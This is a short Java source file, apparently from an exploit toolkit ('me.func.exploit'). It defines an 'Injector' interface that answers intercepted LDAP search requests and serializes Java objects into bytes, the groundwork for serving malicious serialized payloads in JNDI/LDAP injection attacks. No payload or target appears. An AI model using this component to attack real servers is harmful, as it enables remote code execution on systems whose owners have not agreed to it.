package me.func.exploit.behavior;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public interface Injector {

	void send(InMemoryInterceptedSearchResult result, Entry entry) throws IOException;

	default <T> byte[] writeObject(T object) throws IOException {

		ByteArrayOutputStream serializedStream = new ByteArrayOutputStream();
		ObjectOutputStream objectStream = new ObjectOutputStream(serializedStream);
		objectStream.writeObject(object);
		serializedStream.flush();

		return serializedStream.toByteArray();
	}

}
